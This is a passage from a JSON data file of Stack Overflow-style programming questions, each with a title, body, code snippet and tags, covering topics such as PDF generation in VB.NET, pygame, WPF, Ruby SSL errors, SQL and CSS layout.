cb.ShowTextAligned(PdfContentByte.ALIGN_RIGHT, \"Page Number\" + \" \" + _Page,
600, 770, 0)\n cb.SetFontAndSize(BF_Times, 8)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_CENTER, _reportHead + \" Overrides \", 304,
720, 0)\n cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, \"First
Name\", 20, 700, 0)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, \"Last Name\", 80, 700, 0)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, \"Last Four\", 160, 700, 0)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, \"Email Address\", 300, 700, 0)\n\n
cb.EndText()\n End If\n\n cb.BeginText()\n
cb.SetFontAndSize(BF_Times, 8)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, _registrant.first_name, 20, y_line1,
0)\n cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT,
_registrant.last_name, 80, y_line1, 0)\n
cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT, _registrant.last_four_social, 160,
y_line1, 0)\n cb.ShowTextAligned(PdfContentByte.ALIGN_LEFT,
_registrant.email, 300, y_line1, 0)\n _total += 1\n
cb.EndText()\n y_line1 = y_line1 - 15\n Next\n", "vb.net
pdf-generation itextsharp"], "1287777": ["How do you auto refresh an HTML table
every few seconds?", "Is there a way to auto refresh an HTML table inside a DIV tag
every few seconds without refreshing the whole
page?\n", "", "refresh"], "3651385": ["Basic Pygame Game", "I've created a simple
game (it's actually not really a game, just a rectangle that moves around on the
screen (I hope)). I'm pretty new to pygame and not sure where I went wrong with
this code.\n\nI get this error message when I try to run it:\n\nCan anyone tell me
where I went wrong?\n", "import os, sys\nimport pygame\nfrom pygame.locals import
*\n\npygame.init()\nmainClock = pygame.time.Clock()\n\nWINDOWWIDTH = 400\
nWINDOWHEIGHT = 400\nwindowSurface = pygame.display.set_mode((WINDOWWIDTH,
WINDOWHEIGHT), 0, 32)\npygame.display.set_caption(\"Avoid!\")\n\nBLACK = (0, 0, 0)\
nRED = (255, 0, 0)\nWHITE = (255, 255, 255)\n\nplayer = pygame.Surface((50, 50))\n\
nmoveLeft = False\nmoveRight = False\nmoveUp = False\nmoveDown = False\n\nMOVESPEED
= 6\n\nwhile True:\n for event in pygame.event.get():\n if event.type ==
QUIT:\n pygame.quit()\n sys.exit()\n if event.type ==
KEYDOWN:\n if event.key == K_LEFT:\n moveRight = False\n
moveLeft = True\n if event.key == K_RIGHT:\n moveLeft =
False\n moveRight = True\n if event.key == K_UP:\n
moveDown = False\n moveUp = True\n if event.key ==
K_DOWN:\n moveUp = False\n moveDown = True\n
if event.type == KEYUP:\n if event.key == K_ESCAPE:\n
pygame.quit()\n sys.exit()\n if event.key == K_LEFT:\n
moveRight = False\n moveLeft = True\n if event.key ==
K_RIGHT:\n moveLeft = False\n moveRight = True\n
if event.key == K_UP:\n moveDown = False\n moveUp =
True\n if event.key == K_DOWN:\n moveUp = False\n
moveDown = True\n\n windowSurface.fill(WHITE)\n\n if moveDown and
player.bottom < WINDOWHEIGHT:\n player.top += MOVESPEED\n if moveUp and
player.top > 0:\n player.top -= MOVESPEED\n if moveLeft and player.left >
0:\n player.left -= MOVESPEED\n if moveRight and player.right <
WINDOWWIDTH:\n player.right +=MOVESPEED\n\n windowSurface.blit(player)\
n", "python pygame"], "1689857": ["Best way to copy millions of files between 2
servers", "I have roughly around 5 million small (5-30k) files in a single
directory that I would like to copy to another machine on the same gigabit network.
I tried using rsync, but it would slow down to a crawl after a few hours of
running, I assume due to the fact that rsync has to check the source & destination
file each time?\nMy second thought would be to use scp, but wanted to get outside
opinion to see if there was a better way. Thanks!\n", "", "rsync scp"], "5590333":
["Synchronizing ViewModels in WPF", "simple problem (using WPF/C#, MVVM, Entity
Framework):\nI have two non-modal dialog windows. Both windows use the same
entities. But two different because the ViewModels are created in both
constructors of windows and so two different .\nQuestion: Two use two different
(of EF) but I need to have both windows synchronized. That is, when user changes
some entities in one window, the second one should be notified. Entities are shown
as lists with details.\nPlease, what's the most principal way how to do that in
MVVM?\n", "ViewModels", "c# .net wpf entity-framework mvvm"], "2399139": ["what is
factory in php and how it can be useful?", "I just want to know that what is the
factory in php?\nAnd how can I use it in my code?\nAre there and benefits and
drawbacks of it?\nThanks\nAvinash\n", "", "php oop"], "4923863": ["\"Certificate
verify failed\" OpenSSL error when using Ruby 1.9.3", "I'm using Ruby 1.9.3p0 on
Mac OS 10.6.8 (installed using rvm). When I attempt to create a new Rails
application using an application template hosted on GitHub, with this (for
example):\n\n$ rails new myapp -m https://github.com/RailsApps/rails3-application-
templates/raw/master/rails3-mongoid-devise-template.rb -T -O\n\nI get this error
message:\n/Users/me/.rvm/rubies/ruby-1.9.3-p0/lib/ruby/1.9.1/net/http.rb:799:in
`connect': SSL_connect \nreturned=1 errno=0 state=SSLv3 read server certificate B:
certificate verify failed \n(OpenSSL::SSL::SSLError)\n\nI understand the Ruby
language interpreter is using OpenSSL to connect to GitHub to request the
application template file. GitHub requires all connections to be made using SSL.
The connection failed because OpenSSL was unable to verify the server certificate.\
nI was able to resolve the issue by downloading a certificates file:\n$ cd
/opt/local/etc/openssl\n$ sudo curl -O http://curl.haxx.se/ca/cacert.pem\n$ sudo mv
cacert.pem cert.pem\n\nI had no problem using Ruby 1.9.2. Why did I get
the \"certificate verify failed\" problem for Ruby 1.9.3? Is this a Ruby 1.9.3 bug?
Is it specific to Mac OS 10.6.8? Is my solution the right way to resolve this?\n",
"", "ruby-on-rails ruby ruby-on-rails-3.1 openssl rvm"], "655430": ["Very simple
socket code in php - putting data is ok, but returns nothing", "I need to post some
data to the listening serwer and get answear using sockets in php.\nPutting work
fine (receiver get what he needs), but when I try to get any serwer answear I just
cant. It just goes over and over and over... looks like never ends but why? (on
the serwer side team check and say that responce is submitet to me).\nI use Php but
serwer is c++ (I heard this might be the problem)\nThe code:\n\nI used 3 different
ways in php to open socket and they all seem to have similar issue. How can I test
what is going wrong?\n", "while", "php sockets"], "4545870": ["CSS: Box+text over
image", "Firstly, I would like to show you a image(made in paint).\n\
nOkay \"current\" is what I have now. I want to place a box over the image to the
right, with black background, and then have text inside this box.\nI tried myself
using z-index and so, but without any success. Here's what I tried:\n\nbut this
didnt turn out any good. How can i do this?\n", "<div> <!-- start div for image --
>\n<img style=\"z-index: -1;\" src=\"1.jpg\" width=\"860\" height=\"240\"> <!-- the
image -->\n</div> <!-- end div -->\n<div style=\"z-index: 1; width: 300px;
background: #000; position: relative;\">\n<div style=\"margin: auto;\">text text
text</div>\n</div>\n", "html css z-index"], "1963476": ["Facebook Like Button as
Share Button", "I need use a facebook like button on my site. But this site have a
dinamicall data. \nExists any thing to use a facebook like as facebook share whit
metadata params:\nEaxmple :\nI use a share button like
this:\nhttp://www.facebook.com/sharer.php?
s=100&p[title]=titulo&p[summary]=descripcion&p[url]=http://mydominio.com/
compartir&p[images][0]=http://mydominio.com/imagen.jpg\n", "", "facebook like"],
"2477298": ["SQL Query for Multiplication", "I have two relations(tables in SQL
Database) having purely numbers. These two relations are to be imagined as
Matrices.\nThe Question is to write an SQL query to multiply there two relations as
we do with normal matrix multiplication.\nI have been racking my brains for
this.... But to no use :O\nCan anyone please help me out?????\nTable number 1 :\n\
n@ Aaron Bertrand : \nI am using SQL Server 2008 R2\nThe Screenshots of the tables
are :\nTable 1 : \n\nTable 2 : \n\nI used the Query : \n\nThe Answer : \n\nThis way
is quite Easy rather than my original Matrix way as suggested by @Marcelo Cantos
and @ypercube...\n", "select t1.A,t2.B,SUM(t1.C*t2.C)\nfrom Table_1 as t1 join
Table_2 as t2 on t1.B=t2.A \ngroup by t1.A,t2.B \norder by t1.A\n", "sql-
server"], "5011234": ["Invalid OAuth 2.0 Access Token Exception", "I try to get all
user photo by using FQL (Facebook C# SDK, ASP .NET MVC, VB, iFrame Canvas
application).\nMy code is following:\n\nFB_Picture is my class to store user
pictures.\nMy app has user_photos permissions.\nBut I have a error - Invalid OAuth
2.0 Access Token\n\nCould you help me? What can I fix? Can I use FQL by using
Facebook C# SDK?\n", "Dim app As New FacebookApp()\nDim result As New List(Of
FB_Picture)\nDim photoList As Object = app.Fql(\"SELECT
src_small,src_big,src,caption FROM photo WHERE aid IN ( SELECT aid FROM album WHERE
owner=\" + FacebookId.ToString() + \" ) ORDER BY created DESC LIMIT \" +
FromN.ToString() + \",\" + ToN.ToString())\n\nFor i As Integer = 0 To
photoList.Count\nresult.Add(New FB_Picture() With {.Caption = photoList(i).caption,
.Src = photoList(i).src, .Src_big = photoList(i).src_big, .Src_small =
photoList(i).src_small}) \nNext\nReturn result\n", "facebook facebook-c#-sdk"],
"4010745": ["custom taglibs cause \"PWC6033: Unable to compile class for JSP\"",
"When I try to use custom taglibs in my webapp it doesn't work on OS X (or
Windows), using Eclipse, and Run Jetty Run. When I WAR up the files and run them on
my linux server running apache-tomcat-6.0.20, there is no problem. I'm using 3rd
party custom taglibs without problems in both environments.\n\nThe custom taglib
tld looks like\n\nAnd the Tag handler\n\nAnd finally temp.jsp\n\nI think my taglib
definition / configuration is correct since the whole thing works when deployed to
tomcat, but I've been trying things all day to make this work in Jetty to no
avail.\n", "org.apache.jasper.JasperException: PWC6033: Unable to compile class for
JSP\n\nPWC6197: An error occurred at line: 6 in the jsp file: /temp.jsp\nPWC6199:
Generated servlet error:\ncom.test cannot be resolved to a type\n at
org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:
107)\n at
org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:280)\n
at org.apache.jasper.compiler.Compiler.generateClass(Compiler.java:350)\n at
org.apache.jasper.compiler.Compiler.compile(Compiler.java:411)\n ...\n", "java
jetty taglib"], "4415046": ["How to find recursion in your app?", "My c# service
got an internal .net execution error that points to recursion issue (e.g. stack
overflow). The problem is that the service is pretty large, so I am having trouble
finding where the recursion actually occurs. \nCan someone with massive regex mojo
hook me up with a search string that would find what I need?\n", "", "c# regex
recursion"], "3443081": ["Apache Pig permissions issue", "I'm attempting to get
Apache Pig up and running on my Hadoop cluster, and am encountering a permissions
problem. Pig itself is launching and connecting to the cluster just fine- from
within the Pig shell, I can through and around my HDFS directories. However, when
I try and actually load data and run Pig commands, I run into permissions-related
errors:\n\nIn this case, is a file in my HDFS home directory that I created, and
most definitely have permissions to; the same problem occurs no matter what file I
try to . However, I don't think that's the problem, as the error itself indicates
Pig is trying to write somewhere. Googling around, I found a few mailing list posts
suggesting that certain Pig Latin statements (, etc.) need write access to a
temporary directory on the HDFS file system whose location is controlled by the
property in hdfsd-site.xml. I don't think falls into that category, but just to be
sure, I changed to point to a directory within my HDFS home directory, and the
problem persisted.\nSo, anybody out there have any ideas as to what might be going
on?\n", "ls", "permissions hadoop pig hdfs"], "6005486": ["Android: How to add
R.raw to project?", "How I could add R.raw class to my android project?\nNow I
haven't /res/raw folder at all (and class as well).\nAnd I can't find any tools in
eclipse to do that.\nSo how to add R.raw?\n", "", "android resources"], "203250":
["How to use PropertyProxyValidator with ServerSideValidationExtender at runtime",
"I have added a attribute to the field of my CSLA business object, with that I am
trying to use the AJAX to server-validate the string inputs for that name field.\
nI was able to create the control at run-time and it worked fine, but it's not
using the to report the Error Message that I specified in my Business Object
attribute, instead it throws an error with the message below:\n\nObject is not
valid and can not be\n saved\n\nCode Behind Below:\n\n", "StringLenthValidator",
"c# asp.net ajax enterprise-library"], "1755092": ["biblatex: filter out
publications from a specific author without biber with many authors", "this is
follow-up to a recent question:\nOn my system with TexLive 2012 (biblatex 1.7-1), I
am trying to separate the publications of a specific author from all other
references (e.g. in case you want to have your own publications separated from
others works). For this, I used this solution, which seems to be exactly what I was
looking for:\n\nHowever, I encountered a problem of this solution with works that
have \"many\" authors. For some reason, the category filter does not work anymore
if the above solution is applied to references with more authors than the variable
maxnames holds, if the name-filter is not the first author.\nThe following minimal
example demonstrates the issue:\n\nThis seems to me, like the filter is applied at
the wrong time - after the list of authors has been cut off to the first author.\
nIs there any modification to this code to allow multiple authors? Or do I have to
go for biber and the source map feature (as suggested here) if I do not want to add
keywords or multiple .bib files?\n", "\\DeclareBibliographyCategory{byname}\n\\
DeclareIndexNameFormat{byname}{% Test could be refined\n\\ifboolexpr{ test {\\
ifdefstring{\\lastname}{#1}}\n and ( test {\\ifdefstring{\\firstname}
{#3}}\n or test {\\ifdefstring{\\firstinit}{#4}} ) }\n{\\
addtocategory{byname}{\\thefield{entrykey}}}\n{}}\n\\AtDataInput{%\n \\
indexnames[byname]{author}}\n...\n\\printbibliography[category=byname]\n",
"biblatex indexing biber"], "5178135": ["is possible to do counter in xcode 4.2.1",
"Is it possible to do counter in xcode 4.2.1?\nI got the value from a webservice
and want to display as a counter starting from zero and want to stop at dynamic
Value\n", "", "ios xcode osx counter"], "2178588": ["I almost cannot switch to
manual focus on my Canon 17-40 f/4 L lens", "Usually troubles with autofocus are
related to a non working AF. I've got the opposite issue: AF is working too well.
Actually, it is ALWAYS working, and I cannot turn it of.\nEven when I switch to
Manual, when I half-press the shutter button AF kicks in. The lens can be manually
focused even with AF on: if I keep the button pressed and defocus manually, it
autofocuses again.\nI've got two alternative fixes: \n\nwith the \"usual\" set up
(shutter button focuses and meters) I can press AF-ON button to stop the autofocus,
\nor I can set the custom function IV-I to 3 so that the shutter button does the AE
lock and the shutter actuation and the AF-ON button focuses and meters.\n\nI have
adopted the first solution which is more in line with my habits, but when using a
tripod it can be incovenient (since I'm not pressing af-on and I would like my
manual focus decision to be respected).\nI strongly suspect that the switch is in
some way broken, since otherwise the fixes would not be able to work around it, but
I thought to ask here for advices/suggestion/ideas. \nIf it matters, the camera is
an Eos 50D and obviously with other lenses the switch is respected (namely the 70-
200 L, which similarly allows manual focusing when AF is on).\n", "", "canon
autofocus manual-focus maintenance"], "695603": ["How do I install the Rake Jenkins
plugin?", "I'm puzzled how I install the rake plugin; and where to find a release
version.\nI require this to run my rake build script on a Win2008 server. This
builds asp.net websites.\nWill I need to build the source myself using the JDK?
Where will the .hpi file be?\n", "", "plugins install rake jenkins"], "3514990":
["Fire function when div is scrolled to | jQuery", "Is it possible that if a div is
scrolled to, it should execute a function, like for example:\n\nYes? No?\n", "",
"jquery scrolling"], "4063324": ["Salesforce Login Email Verification in
SaucelabsVM", "We'd like to setup some test automation around our SalesForce
instance using SauceLabs. We'd like to keep it independent of the salesforce
instance itself as we have a dedicated continuous integration server which drives
all our automation across several integration points in our system (of which
SalesForce is one). Because of this requirement, SauceForce won't quite suit our
needs.\nI have successfully setup a Selenium test that hits our SalesForce instance
via SauceLabs but the problem is that because the browser is running from a VM in
the SauceLabs cloud that SalesForce does not recognise, it prompts for an email
verification code. This is a blocker for us as the workaround would be too
cumbersome. I asked some developers - they suggested adding the VM IP address to a
list of exceptions but unfortunately, SauceLabs assigns VM IPs dynamically so we
are therefore unable to define an IP range in Salesforce for security exceptions to
bypass the email verification prompt.\nI am curious as to how SauceForce gets
around this problem - does anyone have insight in this regard?please give response
how to login in salesforce in saucelabs?\n", "", "java salesforce selenium2
saucelabs"], "2408565": ["Strange WCF anonymous requirement", "I have set this
binding for my service in the config file :\n\nBut when I try to reach the service
after deploying it in IIS, I'm getting : Security settings for this service require
'Anonymous' Authentication but it is not enabled for the IIS application that hosts
this service.\nInstead, if I use :\n\nMy service is doing ok, it doesn't ask for
anonymous authentication. Why ? (I need to specify that name)\n", "
<system.serviceModel>\n<bindings>\n <basicHttpBinding>\n <binding
name=\"BasicHttpBinding_XXX\">\n <security mode=\"TransportCredentialOnly\">\n
<transport clientCredentialType=\"Windows\" />\n </security>\n </binding>\n
</basicHttpBinding>\n</bindings>\n", "wcf"], "5113434": ["Text file getting treated
like binary file", "I have a script that outputs database interactions. In QA, one
of the queries my script caught turned out to be a monstrous huge thing (200,000+
characters) heavily laden with (what I'm fairly sure are) UTF-8 characters.
(There's a whole lot of escape-via-backslash going on, at the very least.)\nThe
problem is that when one of the text files where this query appears is opened by a
text editor, the editor insists on treating it as a binary file. It happens under
both Linux (Kate) and Windows (Notepad, Wordpad). Is there anything I can do to
the file to make sure it gets treated like a text file, not a binary?\n\nEDIT: A
potential difference. The text files that are getting handled properly are created
by Perl's file I/O, whereas the file that is screwing up Kate and friends is
created by a simple \"./my_script.pl > output.log\" redirect. Could that be the
source of my problem?\n", "", "file"], "2719034": [".htaccess how to redirect if
regex doesn't match", "How can I do a redirect if the regex expression doesn't
match\n\nSaid if the [A-Z]{2}[0-9]{3} doesn't match I will redirect to error.php
page with code id stated invalid input, RewriteRule ^test/.*$
localhost/username/error.php [L] this will be the error for wrong url path.\
nExample:\nIf user enter localhost/username/test/admin/TA123/xml this is valid if
user enter localhost/username/admin/123/xmlll this will redirect to error.php with
code say 500 input error\nif user enter localhost/username/test/guest this will
redirect to error.php with code say 501 wrong url\nif user
enter localhost/username/test/home/TA123/xml this will redirect to error.php with
code say 502 input error \n", "RewriteEngine On # Turn on the rewriting engine\
nRewriteRule ^test/(admin)/([A-Z]{2}[0-9]{3})/(xml|json)$
http://localhost/username/index.php?type=$1&id=$2&format=$3 [L]\nRewriteRule
^test/(home|member)/([0-9]+)/(xml|json)$ http://localhost/username/index.php?
type=$1&id=$2&format=$3 [L]\nRewriteRule ^test/.*$
http://localhost/username/error.php [L]\n", ".htaccess mod-rewrite"], "4844109":
["Filter based on an aliased column name", "I'm using SqlServer 2005 and I have a
column that I named.\nThe query is something like:\n\nHowever, this gives me the
error:\n\n\"Invalid column name 'myAlias'.\"\n\nIs there a way to get around this?
In the past I've included the column definition in either the WHERE or the HAVING
section, but those were mostly simple, IE COUNT(*) or whatever. I can include the
whole column definition in this ad-hoc query, but if for some reason I needed to do
this in a production query I'd prefer to have the column definition only once so I
don't have to update both (and forget to do one at some point)\n", "SELECT id, CASE
WHEN <snip extensive column definition> END AS myAlias\nFROM myTable\nWHERE myAlias
IS NOT NULL\n", "sql sql-server sql-server-2005 alias where-clause"], "1660020":
["Mobile version of website: adjust to screen size", "I realize that creating a
mobile version of a site is a complex matter. However, I've noticed specifically
that most large websites when you surf to them in mobile browser ie safari on
iphone fill up whole page instantly. In contrast, my site displays small including
font size, has white space at borders, and you need to adjust it by hand to fill up
iphone screen. I gather part of solution is to replace pixel specifications with
percentages. Is there anything else needed to make site instantly fill up pane,
perhaps something about html doctype at beginning or other metadata?\n", "",
"mobile website screen resolution"], "4732492": ["(Object doesn't support #inspect)
Stuck at the console", "I have three models, being Page, AdminUser and Section:\n\
nwith these migrations for Pages, Users and Sections:\n\nIn the process of trying
to create a new user for the AdminUser using the rails console, I get this Object
doesn't support #inspect error:\n\nEDIT Doing a page.editors in the console throws
this error:\n\nI'm stuck here. How do I fix this?\n", "class Page <
ActiveRecord::Base\n attr_accessible :name, :position, :permalink\n
belongs_to :subject\n has_many :sections\n
has_and_belongs_to_many :editors, :class_name => \"AdminUser\"\nend\n\nclass
AdminUser < ActiveRecord::Base\n
attr_accessible :first_name, :last_name, :username\n
has_and_belongs_to_many :pages\n scope :named, lamda {|first,last|
where(:first_name => first, :last_name => last)}\nend\n\nclass Section <
ActiveRecord::Base\n belongs_to :page\nend\n", "ruby-on-rails database ruby-on-
rails-3 associations model-associations"], "2811635": ["Problem about solving
infinity limit with square root", "(I)\n$$\\lim_{x \\to \\infty } \\, \\left(\\
sqrt{x^2+x}-\\sqrt{x^2-x}\\right)=$$\n$$\\lim_{x \\to \\infty } \\, \\left(x\\
sqrt{1+1/x}-x\\sqrt{1-1/x}\\right)=$$\n$$\\lim_{x \\to \\infty } \\, \\left(x\\
sqrt{1}-x\\sqrt{1}\\right)=\\lim_{x \\to \\infty } \\, \\left(x-x\\right)=0$$\
n(II)\n$$\\lim_{x \\to \\infty } \\, \\left(\\sqrt{x^2+x}-\\sqrt{x^2-x}\\right)=$$\
n$$\\lim_{x \\to \\infty } \\, \\left(\\left(\\sqrt{x^2+x}-\\sqrt{x^2-x}\\right)*\\
frac{\\left(\\sqrt{x^2+x}+\\sqrt{x^2-x}\\right)}{\\left(\\sqrt{x^2+x}+\\sqrt{x^2-
x}\\right)}\\right)=$$\n$$\\lim_{x \\to \\infty } \\, \\frac{2x}{\\left(\\
sqrt{x^2+x}+\\sqrt{x^2-x}\\right)}=$$\n$$\\lim_{x \\to \\infty } \\, \\frac{2x}{\\
left(x\\sqrt{1+1/x}+x\\sqrt{1-1/x}\\right)}=$$\n$$\\lim_{x \\to \\infty } \\, \\
frac{2x}{\\left(x\\sqrt{1}+x\\sqrt{1}\\right)}=\\lim_{x \\to \\infty } \\, \\
frac{2x}{2x}=1$$\nI found these two ways to evaluate this limit. I know the answer
is 1. The first one is surely wrong. The question is: why? What is wrong there?\n",
"", "limit"], "2288545": ["if using shared memory, are there still advantages for
processes over threading?", "I have written a Linux application in which the main
'consumer' process forks off a bunch of 'reader' processes (~16) which read data
from the disk and pass it to the 'consumer' for display. The data is passed over a
socket which was created before the fork using socketpair.\nI originally wrote it
with this process boundary for 3 reasons:\n\nThe consumer process has real-time
constraints, so I wanted to avoid any memory allocations in the consumer. The
readers are free to allocate memory as they wish, or even be written in another
language (e.g. with garbage collection), and this doesn't interrupt the consumer,
which has FIFO priority. Also, disk access or other IO in the reader process won't
interrupt the consumer. I figured that with threads I couldn't get such
guarantees.\nUsing processes will stop me, the programmer, from doing stupid things
like using global variables and clobbering other processes' memory.\nI figured
forking off a bunch of workers would be the best way to utilize multiple CPU
architectures, and I figured using processes instead of threads would generally be
safer.\n\nNot all readers are always active, however, those that are active are
constantly sending large amounts of data. Lately I was thinking that to optimize
this by avoiding memory copies associated with writing and reading the socket, it
would be nice to just read the data directly into a shared memory buffer
(shm_open/mmap). Then only an index into this shared memory would be passed over
the socket, and the consumer would read directly from it before marking it as
available again.\nAnyways, one of the biggest benefits of processes over threads is
to avoid clobbering another thread's memory space. Do you think that switching to
shared memory would destroy any advantages I have in this architecture? Is there
still any advantage to using processes in this context, or should I just switch my
application to using threads?\n", "", "c posix processes multiprocessing shared-
memory"], "4391031": ["Can Mutual Certificate based Authentication co-exist with
Basic Auth over SSL for different paths within the same application?", "I have a
scenario where we are developing an app with both a Business to Customer interface,
and a Business to Business interface.\nThe B2B interface is a RESTful interface to
modify resources that the B2C interface manipulates through a bunch of nice
friendly interfaces.\nBecause the B2B interface allows access to more functionality
than the B2C interface, it's a requirement that the B2B interface use Mutual
Certificate authentication.\nOur target environment/stack is Apache => Tomcat =>
Grails => Irrelevant Infrastructure\nMy current research indicates that Apache will
be doing the authentication, and then passing auth details on to Tomcat? Is this
the case? I've been looking at the spring-security-plugin which seems to provide
what we want, and I'm confident we could provide either option on its own.\nI just
haven't seen any discussion around configuring multiple different authentication
mechanisms.\nNote: I'm not after fallback auth. If you can't access B2B via
Mutual Certificate auth there should not be the option to use basic auth\n", "",
"security grails spring-security x509certificate"], "684232": ["Can Such An Object
Be Considered Immutable?", "I have designed a class containing some information
about a given object which will be registered in an SQL Server database. I would
like to make this object (deeply) immutable, but I also must assure that it gets
registered only once. If this object implements the following pattern, can it still
be considered immutable?\n\nI would say that except for the boolean field the
object is immutable, but this fields leaves me some doubts because it will actually
change on the first time the method is executed... Can anyone please tell me how
can I solve this problem and still make the object be immutable?\n", "public class
NewClass\n{\n private bool registered;\n\n public string SomeProperty { get;
private set; }\n\n public NewClass Register()\n {\n if (registered)\n
{\n throw new NotImplementedException(/*arguments*/);\n }\n\n
/* Register on DB here... */\n registered = true;\n return new
NewClass(somePropertyFromDB);\n }\n\n public NewClass(string someProperty)\n
{\n registered = false;\n SomePropery = someproperty;\n }\n}\n",
".net immutability"], "2812567": ["How can I see the compile error-code number in
Visual Studio Error List view?", "In previous versions of Visual Studio I remember
I saw the error code/number in the Error List View. I may have that confused with
C++ though. To see the actual compile error number I need to save and compile the
project and then check the Output-window.\nIt's nothing but a convenience to see
the actual error number at once and it makes it easier to do a Google search for
it. Below is a screenshot of error code CS1002.\nAnybody any idea how to magically
show the compile time error numbers again?\n\nPS: likewise, it would be great if
hitting F1 in that same window would bring me to the error description page on MSDN
as opposed to the useless \"how to use the Error Window\" page.\n", "", "c# visual-
studio visual-studio-2010"], "3565607": ["CSSMatrix equivalent in Firefox?", "I'm
currently developing a tiny \"draggable for mobile widget\", basically it
implements only part of the interface of the jQUery UI Draggable widget (The part
I needed for my project). \nI Know I can simulate the mouse events and make the
jQuery UI Draggable to work properly on the mobile/tablet platforms, but the main
issue with
that approach is that it does not feel smooth enough, and since the CSS3
Transforms are hardware accelerated, using translate3d instead of changing the top,
left properties made a huge difference as you can see
here:\nhttp://dl.dropbox.com/u/16252882/royws/td/demo/touchdraggable.html\nI was
planning to make it work for IE10 and latest Firefox too, so in the code I was
using WebkitCSSMatrix to parse the matrix. I googled it and found that for IE10 I
can use the MSCSSMatrix to parse the matrix, but I cannot find a similar class in
firefox.\nI'm only using now the M.e and M.f properties of the Matrix, as you can
see here,\nhttps://github.com/royriojas/touch-draggable/blob/master/src/touch-
draggable.js\nso I know I can parse it manually. If there is no other option, I
will have to do it that way, I was just wondering if anyone knew how to do that,
the easy way in firefox :)\n", "", "firefox draggable jquery-ui-draggable css-
transforms"], "1807023": ["Send Custom Action Data via Command Line for Visual
Studio Installer", "I have a Visual Studio Installer that has a custom UI with one
text box recovering a value that is set to property. Then I have a custom action
(an Installer class) that passes in that property value with this line - and the
installer works great.\nNow, I need to send that value via the command-line so that
this installer can be run by system administrators all across the organization. So,
I tried the following command line statements but it just doesn't work.\n\nFurther,
I can't seem to find anything online that doesn't feel like they hacked it because
they just couldn't find the solution. I mean I've found some solutions where they
are editing the MSI database and everything, but man that just doesn't seem like
it's the right solution - especially since I'm using Visual Studio 2010 - Microsoft
has surely made some enhancements since its initial release of this offering.\nHere
is one of the articles that appears would work but still really feels like a hack.\
nAt any rate, I hope that you can help me out!\n", "QUEUEDIRECTORY", "c# visual-
studio-2010 command-line installer custom-action"], "2169763": ["Reading CSV with
mix data", "I need to read the following file in MATLAB:\n\nI'd like to have three
coloumn:\ntimestamp;value1;value2 \nI tried the approches described here:\nReading
date and time from CSV file in MATLAB\nmodified as: \n\nBut it returs a 1x2 cell,
whose first element is , the other are empty. \nI had also tried to adapt to my
case the answers to theses questions:\nimporting data with time in MATLAB\nRead
data files with specific format in matlab and convert date to matal serial time\
nbut I don't succeed.\nHow can I import that file?\nEDIT After the answer of
@macduff i try to copy-paste in a new file the data reported above and use: \n\
nand it works.\nUnfortunally that don't solve the problem because I have to process
generated automatically, which seem to be the cause of the strange MATLAB
behaviour.\n", "csv", "matlab csv import"], "5590336": ["how to write WPF
application running on system tray only?", "\nPossible Duplicate:\nWPF Application
that only has a tray icon \n\nhow to write WPF application running on system tray
only since the application start?\n", "", "wpf startup system-tray"], "5817444":
["outlook 2010 add-ins", "is there any way to run an addin for outlook from a
command line? Bascially I need to synchronize a public calendar with a private
calendar. I found an addin that can do it but .. there is no way to schedule it to
happen. The whole point being to keep all my various copies ut outlook equal with
the calendars in my Iphone and oher portable devices. Microsoft Active Sync won't
cync a public to a private or vice versa.\nThe public calendar has to start public
and separate becasue other people also make entries to it. \nAny other thoguhts of
ways to accomplish this would be appreciated.\n", "", "sync microsoft-outlook-2010
calendar-management"], "4835564": ["Webkit CSS Background Woes", "I am using FluxBB
with a heavily customized style. For the main layout, I have a header image
(mbg.png) with a logo placed on top of it (header_logo2.png). The content portion
of the layout is wrapped with the \"wrapper-wrapper\". This consists of the
image \"cbg.png\"; it y-repeats from the bottom of mbg.png to the footer, fbg.png.\
nThe layout works absolutely fine in every desktop browser I have tried.\
nUnfortunately, any mobile webkit browser takes the \"cbg.png\" and extends it
outside of the webpage layout. It is defying any changes I have made to position,
padding, or margins. \nHere is the result (Maxthon on
Android):\nhttp://bit.ly/KaCJ9L\nI am not sure what to do, but I do know that the
CSS is somewhat of a mess (it is a quick collaboration between a few different
people). Here is the CSS (if you don't mind):\n\nAnd the implementation:\n\nAny
help, assistance, or guidance would be greatly appreciated - this issue has been
bugging me for a while.\n",
"/****************************************************************/\n/* 0. CUSTOM
STUFF */\n/****************************************************************/\n\
n#brdheader { margin: 0 }\n#brdheader .box { background: #eee }\n#top-right-ad
{ float: right;position: relative;top: -22px;margin: 0 0 }\n\n#brdtitle { position:
relative;top: 31px;left: -9px;z-index: 2 }\n#brdtitle h1 span { display: none }\
n#brdtitle h1 { background: url(../../img/RVS/header_logo2.png) no-repeat 0
100%;margin: 0;padding: 0;height: 70px }\n#brdtitle p span { display: none }\n/*
#brdtitle p { background: url(../../img/RVS/rs_slogan.png) no-repeat 0 0;margin: -
8px 0 0 129px;height: 30px } */\n\n/* #welcome-wrapper, #content-wrapper
{ background: url(../../img/RVS/cbg.png) repeat-y 50% 50%;padding: 0 20px; height:
1%} */\n#wrapper-wrapper { background: transparent url(../../img/RVS/cbg.png)
repeat-y scroll 50% 50%; }\nhtml>body #welcome-wrapper, body #content-wrapper
{height: auto}\n#welcome-wrapper { padding: 0 10px }\n#content-wrapper { padding:
12px 20px }\n\n#brdwelcome { background: url(../../img/RVS/wbg/rotator.php) no-
repeat;padding: 0 10px 2px }\n\n#brdmenu { position: relative;background:
url(../../img/RVS/mbg.png) no-repeat 50% 0;padding: 0;height: 62px;padding: 20px
25px 0 }\n#brdmenu ul { position: relative;z-index: 5 }\n#brdmenu li { margin-
